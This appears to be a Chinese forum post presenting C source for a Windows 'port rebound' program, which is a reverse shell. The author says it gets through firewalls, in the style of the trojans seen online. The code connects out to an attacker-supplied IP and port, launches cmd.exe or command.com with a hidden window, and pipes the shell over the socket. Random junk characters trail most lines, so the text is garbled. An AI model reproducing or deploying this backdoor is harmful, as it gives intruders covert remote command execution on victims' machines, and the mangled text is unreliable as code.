Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ~A5MzrvIO2  
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/* ============================== !}gC0
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Rebound port in Windows NT _ IqUp Y  
By wind,2006/7 B.-1wZl  
===============================*/ i!!1^DMrw  
#include Nd"4*l;
 
#include cF7efs8u  
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#pragma comment(lib,"wsock32.lib") _26~<gU8  
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void OutputShell(); dsh S+d  
SOCKET sClient;  OEN!~-u  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y^Olcz  
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void main(int argc,char **argv) -m.SN>V  
{ f;k'dqlv  
WSADATA stWsaData; >%~%O`+  
int nRet; A\jX#gg  
SOCKADDR_IN stSaiClient,stSaiServer; RU1+-  
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if(argc != 3) +H7lkbW
  
{ 3',|HA /x  
printf("Useage:\n\rRebound DestIP DestPort\n"); }BpCa6SAs  
return; CqRG !J  
} BN?OvQ  
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WSAStartup(MAKEWORD(2,2),&stWsaData); <L1;aNN  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nbpGxUF`]  
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stSaiClient.sin_family = AF_INET; p)$DpNL% p  
stSaiClient.sin_port = htons(0); ZPT6 pJ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Kug_0+gI  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "1P>,\Sjg  
{ ]0VjVU-  
printf("Bind Socket Failed!\n"); ?~;8Y=O  
return; XL/?v" /  
} ` R;6]/I?  
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stSaiServer.sin_family = AF_INET; yJ(p-3O5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); MmjeFv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); eAkjpc  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) J~6-}z
  
{ >&|C E2'  
printf("Connect Error!"); [,Io!O  
return; MVGznf?  
} uIG,2u,  
OutputShell(); rI\G&OqpP  
} wgK:^DP  
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void OutputShell() !z !R)6  
{ Sc!{ o!9\  
char szBuff[1024]; qjsS2,wM  
SECURITY_ATTRIBUTES stSecurityAttributes; ;'.[h*u~<  
OSVERSIONINFO stOsversionInfo; 0u]!C"VX  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Xgge_`T9  
STARTUPINFO stStartupInfo; 6iiH+Nc  
char *szShell; -/>SdR$D7  
PROCESS_INFORMATION stProcessInformation; 88)F-
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unsigned long lBytesRead; O<0G\sU  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z\{"/( Hi  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ".9b}}  
stSecurityAttributes.lpSecurityDescriptor = 0; 6]=R#d 7U  
stSecurityAttributes.bInheritHandle = TRUE; ,qS-T'[v,(  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6gLk?^.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (RP"VEVR  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LRqBP|bjCD  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U2=PmS P  
stStartupInfo.wShowWindow = SW_HIDE; t;7 tuq   
stStartupInfo.hStdInput = hReadPipe; v-;j44sB  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p#VA-RSUQ|  
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GetVersionEx(&stOsversionInfo); ,4bqjkX5q  
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switch(stOsversionInfo.dwPlatformId) xwZcO  
{ H'f
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case 1: a9CY,+z5B  
szShell = "command.com"; XwKB+Yj0  
break; oT5N_\  
default: cxBu2(Y  
szShell = "cmd.exe"; Hshm;\'  
break; (x{
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} RR u1/nam  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /bE=]nM  
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send(sClient,szMsg,77,0); %!5[3b'h  
while(1) i1qhe?5  
{ jG"n);WF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I`?6>Z+%)  
if(lBytesRead) TA=VfA B  
{ <P)vx  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K,7IBv,B[  
send(sClient,szBuff,lBytesRead,0); /8\gT(@  
} xef@-%mcoy  
else 50:gk*hy  
{ D<=:9  
lBytesRead=recv(sClient,szBuff,1024,0); >[]@Df,p  
if(lBytesRead<=0) break; YQb43Sh`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $"z|^ze  
} 0ZY.~b'eu  
} :Ogt{t  
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return; Mqu>#lL  
}